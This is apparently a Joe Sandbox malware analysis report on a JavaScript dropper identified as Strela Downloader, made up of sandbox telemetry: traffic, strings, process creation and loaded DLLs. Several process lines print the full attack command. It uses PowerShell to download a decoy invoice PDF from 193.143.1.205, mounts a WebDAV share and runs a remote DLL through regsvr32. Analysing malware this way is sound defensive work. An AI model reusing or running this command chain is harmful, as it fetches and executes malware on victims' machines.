Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49725

Source: global traffic

TCP traffic: 192.168.2.11:49725 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.11:59969 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.11:49709 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1308539716.000001FE9A4B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1369170503.0000025128BC8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1369337392.0000025128C1D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1366472879.0000025128C1B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1368204959.0000025128BFB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1369221074.0000025128BFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1369170503.0000025128BC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/(Q
Source: net.exe, 00000007.00000003.1368204959.0000025128BFB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1369221074.0000025128BFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Loopback
Source: net.exe, 00000007.00000003.1368204959.0000025128BFB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1369221074.0000025128BFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/z
Source: net.exe, 00000007.00000003.1368204959.0000025128BFB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1369221074.0000025128BFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/~
Source: svchost.exe, 00000009.00000002.2608653718.00000257D0000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: svchost.exe, 00000009.00000003.1367710086.00000257CFD60000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7376, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 19559251331544623964.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/58@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7480:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ag0nuads.ww3.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 19559251331544623964.js

Virustotal: Detection: 13%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19559251331544623964.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1712,i,18150883577437522717,16331206020707131605,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1712,i,18150883577437522717,16331206020707131605,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
